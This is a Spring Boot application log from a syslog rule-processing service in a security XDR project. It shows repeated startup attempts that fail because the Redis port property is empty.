2026-05-18 15:21:26.324 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 33680 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:21:26.324 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:21:26.331 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:21:29.620 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:21:29.623 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:21:30.334 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 705 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:21:30.345 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:21:30.347 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:21:30.552 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 15:21:30.552 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 205 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:21:30.570 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:21:30.572 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:21:30.734 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:21:30.736 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 153 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:21:30.959 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.959 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.959 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.960 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.961 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.962 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.962 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.962 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:21:30.962 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:21:31.695 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:21:31.705 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:21:31.705 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:21:31.705 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:21:31.969 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:21:31.970 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 5536 ms
|
||||
2026-05-18 15:21:32.038 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:21:35.731 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:21:36.256 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:21:36.269 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:21:36.287 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:21:36.290 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:21:36.346 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:21:41.810 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:21:41.816 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:21:41.837 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:21:41.860 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 15:32:39.890 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:32:39.888 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 37736 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:32:39.892 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:32:42.292 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:32:42.294 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:32:42.777 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 478 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:32:42.785 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:32:42.786 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:32:42.955 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 15:32:42.956 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 169 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:32:42.977 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:32:42.979 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:32:43.147 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:32:43.147 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 156 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:32:43.302 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.302 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.302 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.302 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.303 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.304 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.304 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.304 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.304 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.304 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.307 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.308 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.308 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.308 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:32:43.308 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:32:44.132 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:32:44.145 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:32:44.147 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:32:44.147 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:32:44.406 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:32:44.406 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4443 ms
|
||||
2026-05-18 15:32:44.468 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:32:49.676 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:32:50.364 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:32:50.384 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:32:50.411 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:32:50.416 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:32:50.504 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:32:59.255 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:32:59.261 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:32:59.281 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:32:59.312 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 17:17:51.256 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 40288 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
